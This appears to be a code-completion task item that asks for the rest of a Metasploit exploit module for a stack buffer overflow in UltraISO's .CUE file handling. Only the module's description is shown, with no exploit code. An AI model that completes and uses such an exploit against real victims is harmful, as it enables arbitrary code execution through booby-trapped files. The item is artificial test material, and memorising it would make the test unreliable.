You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: ultraiso_cue.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/fileformat
    
    the code of the file until where you have to start completion: ##

          This module exploits a stack-based buffer overflow in EZB Systems, Inc's
        UltraISO. When processing .CUE files, data is read from file into a
        fixed-size stack buffer. Since no bounds checking is done, a buffer overflow
        can occur. Attackers can execute arbitrary code by convincing their victim
        to open an CUE file.

        NOTE: A file with the same base name, but the extension of "bin" must also
        exist. Opening either file will trigger the vulnerability, but the files must
        both exist.
